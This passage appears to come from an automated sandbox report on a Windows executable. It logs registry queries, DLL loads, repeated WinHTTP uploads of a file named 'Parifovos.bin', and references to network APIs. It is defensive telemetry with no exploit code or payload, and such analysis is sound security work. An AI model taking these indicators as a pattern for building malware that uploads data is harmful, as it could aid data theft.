"OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "")34:Tf56,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\NETBT\LINKAGE"; Key: "EXPORT"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSAPPCOMPAT"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSUSERENABLED"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "A8A451B18143B192DE1F6DA327400E4FE0B629386D0C9DBF0D77E002E8CA6610"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "")35:Tbe8,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\IMM32.DLL" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\FLTLIB.DLL" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\MSVCP140.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\MSVCP140.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\VCRUNTIME140.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\VCRUNTIME140.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\ucrtbase.DLL" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\ucrtbase.DLL" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\api-ms-win-core-timezone-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-timezone-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\api-ms-win-core-file-l2-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-file-l2-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\api-ms-win-core-localization-l1-2-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\api-ms-win-core-synch-l1-2-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to touch file "C:\api-ms-win-core-file-l1-2-0.dll"36:Tcf7,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\FLTLIB.DLL" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\MSVCP140.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\ucrtbase.DLL" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-string-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-stdio-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-convert-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-locale-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-filesystem-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-time-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-environment-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-math-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\api-ms-win-crt-utility-l1-1-0.dll" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL"37:T2bd7,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "126f980" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12784f0" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "1283038" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "128a8b0" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "1297e38" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "129e190" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12a5b08" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12ab4e0" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12ae630" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12b6078" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12b5820" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12bc968" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12c8f90" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12d6b00" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12dc2b8" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12dee18" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12df0b8" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12e8c58" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12e8f00" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12e91a8" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12e9450" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12e96f8" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12e99a0" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12e9c48" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"} "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "WinHttpSendRequest" with parameters {"hRequest": "12e9ef0" "lpszHeaders": "Content-Length: 413" "dwHeadersLength": "4294967295" "lpOptional": "------Boundary76026197Content-Disposition: form-data; name=\"file\"; filename=\"Parifovos.bin\"Content-Type: application/octet-stream" "dwOptionalLength": "413" "dwTotalLength": "413" "dwContext": "0" "$error": "2ee7"}38:T107e,Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00005700-00000C2C-209645318") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00005700-00000C2C-210561237") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00005700-00000C2C-210759951") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00005700-00000C2C-210759951") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00005700-00000C2C-210759951") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00005700-00000C2C-210760375") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00005700-00000C2C-210760375") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpReadDataEx" (Indicator: "WinHttpReadData"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "InternetReadFileExA" (Indicator: "InternetReadFile"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp")39:T86f,Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: 